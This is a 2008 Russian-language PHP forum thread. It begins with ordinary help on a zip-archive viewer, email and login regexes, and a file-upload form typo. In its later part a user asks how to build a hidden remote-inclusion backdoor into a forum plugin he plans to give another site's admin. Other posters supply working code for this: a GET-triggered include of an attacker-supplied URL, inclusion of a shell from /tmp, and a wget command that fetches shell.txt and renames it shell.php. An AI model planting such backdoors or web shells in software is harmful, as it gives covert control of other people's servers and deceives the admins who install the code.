echo'<a href="zip.php?start='.$start.'&dir='.$dir.'&arch='.$arch .'&'.SID.'">Вернуться</a></div>';
}
}else{header ("Location: index.php?".SID); exit;}
echo'<div class=pay><img src="../img/go.gif" alt=""><a href="down.php?did='.$dir.'&'.SID.'">В раздел</a><br>';
echo'<img src="../img/go.gif" alt=""><a href="index.php?'.SID.'">К категориям</a></div></div></div>';
?>
------------------------------------------------
Подскажите, как сделать чтоб не только просматривать файлы в архиве можно было, но и выкачивать их напрямую из архива, нераспаковывая его
РАБОЧИЙ:
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.1//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml11.dtd'>
<html><head>
<title>Creeptor</title>
<link rel='SHORTCUT ICON' href='http://status.icq.com/27/online1.gif' />
<link rel='stylesheet' type='text/css' href='/css/index.css' />
</head>
<body>
<h1>Проверено: 51(с 900051 до 900050)<br />В онлайне: 0<br />В офлайне: 1<br />Неизвесно: 50<br />Ошибок: 0</h1></body></html>
НЕРАБОЧИЙ:
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.1//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml11.dtd'>
<html><head>
<title>Creeptor</title>
<link rel='SHORTCUT ICON' href='http://status.icq.com/27/online1.gif' />
<link rel='stylesheet' type='text/css' href='/css/index.css' />
</head>
<body>
если просмотреть исходный код готовый страницы тогда видно, что for(...) не работает до конца...
-=lebed=-
29.03.2008, 23:10
1. Нормальная регулярка для проверки емаил на валидность (при условии что потом $email приводим к нижнему регистру) или есть получше?
function email_test($email)
{
if(ereg('^[_.0-9a-zA-Z-]+@([0-9a-zA-Z][0-9a-zA-Z-]*.)+[a-zA-Z]{2,4}$', $email)) return 1; //правильный емайл
return 0; // не правильный емайл
}
2. Дайте, плиз нормальную, готовую регулярку для проверки логина на валидность. Под валидностью подразумевается использование разрешённых символов, длина {4,10}
[_.0-9a-zA-Z-] -> [_\.0-9a-zA-Z-]
([0-9a-zA-Z][0-9a-zA-Z-]*.) зачем круглые скобки? снова точка не экранируется
И можно убрать A-Z, оставить только a-z, а функцию заменить на eregi(), а лучше вообще в PCRE написать, они быстрее posix.
-=lebed=-
29.03.2008, 23:31
[_.0-9a-zA-Z-] -> [_\.0-9a-zA-Z-]
([0-9a-zA-Z][0-9a-zA-Z-]*.) зачем круглые скобки? снова точка не экранируется
Так?
[php]
function email_test($email)
{
if(ereg('^[_\.0-9a-zA-Z-]+@[0-9a-zA-Z][0-9a-zA-Z-]*\.+[a-zA-Z]{2,4}$', $email)) return 1; //правильный емайл
return 0; // не правильный емайл
}
\w|[\._-]+@(\w|\.+)[a-z]{2,4} м?
-=lebed=- PCRE рулит и скоро обгонит POSIX во всём=)
/^\w+([\.\w]+)*\w@\w((\.\w)*\w+)*\.\w{2,3}$/
\w не покатит, русские буквы будут проходить.
тада
'#^[a-z0-9\._-]+@[a-z0-9\.]+[a-z]{2,4}$#is'
-=lebed=-
29.03.2008, 23:53
/^\w+([\.\w]+)*\w@\w((\.\w)*\w+)*\.\w{2,3}$/
- я так понял регулярка де-факто для проверки E-mail?
/^\w+([\.\w]+)*\w@\w((\.\w)*\w+)*\.\w{2,3}$/
PS В тегах php тут на форуме экранирующий слэш режется.
P.P.S. Дайте ещё регулярку де-факто для логина, т.е набор допустимых символов + национальные (или лучше с ними не возится?)
а зачем запрещять использовать какие либо символы в логине ... ?
-=lebed=-
30.03.2008, 00:03
а зачем запрещять использовать какие либо символы в логине ... ? Ну есть непечатаемые символы, да и пробелы в начале, в середине и в конце логина тоже не нужны (хотя их можно просто обрезать потом)
ЗЫ Пишу скрипт регистрации для сервиса hashcracking.info, нужно продумать какие ники там будут возможны...
preg_match('#^\S+$#s',$str)
.:EnoT:.
30.03.2008, 00:58
//оффтоп
До сих пор не могу понять почему многие кодеры в своих движках запрещают использовать русские буквы и спецсимволы. А вот пароли не запрещают делать из спецсимволов...парадокс.
Если правильно обработать все входящие данные, то никакой опасности они представлять не будут :)
мыло тоже не обязательно запрещать в верхнем регистре, просто потом опустить его в нижний функцией strtolower(), плюс прикрутить подтверждалку по е-мейлу, тада все олени, которые мыло пишут от балды прутся лесом...
И ещё)) Многие делают регулярки, чтобы нельзя было в имени мыла писать только одни подчёркивания. А если у меня и на самом деле мыло ____@mail.ru ? хехе
Пробелы в конце тоже не страшно...пусть вводят хоть сто пробелов)) trim() в помощь.
Спасибо за внимание :)
До сих пор не могу понять почему многие кодеры в своих движках запрещают использовать русские буквы и спецсимволы. А вот пароли не запрещают делать из спецсимволов...парадокс.
Пароли как правило шифруются MD5, и в итоге неважно, какие символы в нём были изначально.
Пробелы в конце тоже не страшно...пусть вводят хоть сто пробелов)) trim() в помощь.
Это не применимо к паролям, вдруг юзер хочет сделать себе пасс с пробелами в начале и в конце, а скрипт не предупреждая их удаляет. Итог - юзер, не зная об этом, не может залогиниться.
.:EnoT:.
30.03.2008, 03:42
чёт не втыкаю в чём проблема=//
<?php
echo '<form engtype="multipart/form-data" method="post" action="image.php">
<input type="file" name="image" /><br />
<input type="submit" name="submit" /></form> ';
if(isset($_POST['submit']))
{
if(!empty($_FILES['image']))
{
#############
}
else
{
echo 'Пусто';
}
}
выдаёт пусто....
я уже полчаса туплю не могу вьехать в чём проблема...почему файл в массив не помещается?
echo '<form engtype="multipart/form-data" method="post" action="image.php">
у тебя engtype, а надо enctype
У меня есть php скрипт, мне в нем надо сделать что-то тиап уязвимости, т.е. я мог вызвать через этот скрипт шелл:
например: www.site.com/script.php?shell=[shell-adress]
VOLAND']...
$shell = @$_GET['shell'];
include($shell);
...
так не идет...
мне не надо чтобы скрипт постояно инклудил, а когда мне нужно, а то если переменная shell не задана, то вываливает ошибка.
вставляешь в страницу вот это
if(@$_GET["hack"] == "yes") include($_GET['file']);
а вызываешь вот так
http://site.ru/index.php?hack=yes&file=http://site.ru/shell.txt
Warning: include() [function.include]: URL file-access is disabled in the server configuration
Вот такую ошибку нельзя обойти или это только в конфигах меняется?
VOLAND']Вот теперь понятно. В настройках PHP отключена опция allow_url_include
Обойти её в большинстве случев нельзя, надо просить хостера включить (сам просил, всегда прокатывало).
это что при выключенном параметре, невозможен php-инклудинг?
З.Ы. я этот скрипт хочу не себе поставить, поэтому я должен быть готов на все случаи жизни=), шелл я подсунуть не могу уж слишком он громоздкий, спалят...
да невозможен и ничего ты несделаешь с удаленного сервера шел не приинклудишь а вот с того сервера котором ты находится должен смоч приинклудить попробуй с локального сервера шел приинклудить.
Попробуй залить в папку /tmp шел а потом вставь в скрипт что то типо этого
<?
include ("/tmp/shell.txt")
?>
я щас экспрементирую на своем компе, а я хочу админу одного сайта дать плагин для forum'a в котором будет удаленный инклуд. Я незнаю разрешено ли на том серваке по url инклудить, поэтому отрабатываю разные случаи.
Тогда можно ли сделать, коммандой 1.php?shell=conf.php, файл(локальный) просто прочитался или скачался?
А можно чтобы вместо инклуда, была заливка файла на сервер и вызов был примерно таков:
index.php?hack=yes&upload=shell.php
я щас экспрементирую на своем компе, а я хочу админу одного сайта дать плагин для forum'a в котором будет удаленный инклуд. Я незнаю разрешено ли на том серваке по url инклудить, поэтому отрабатываю разные случаи.
Тогда можно ли сделать, коммандой 1.php?shell=conf.php, файл(локальный) просто прочитался или скачался?
А можно чтобы вместо инклуда, была заливка файла на сервер и вызов был примерно таков:
index.php?hack=yes&upload=shell.php
встрой туда что я тебе сказал и все будет возможно использовать можно будет какой либо качалкой залить с удаленного сайта шел примерно так сам точно незнаю скрипт в котором это было где то есть но я непомню где ;(
wget http://site.ru/shell.txt;mv shell.txt shell.php но дира должна быть доступна для записи
Может поможет мне ктонить? А? Мой пост несколько страниц назад...
Может поможет мне ктонить? А? Мой пост несколько страниц назад...
сразу сказать на какой странице твой пост нельзя у лююдей траф не резиновый непроше юзать шел который скачивае или отправляет шел по почте ?
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot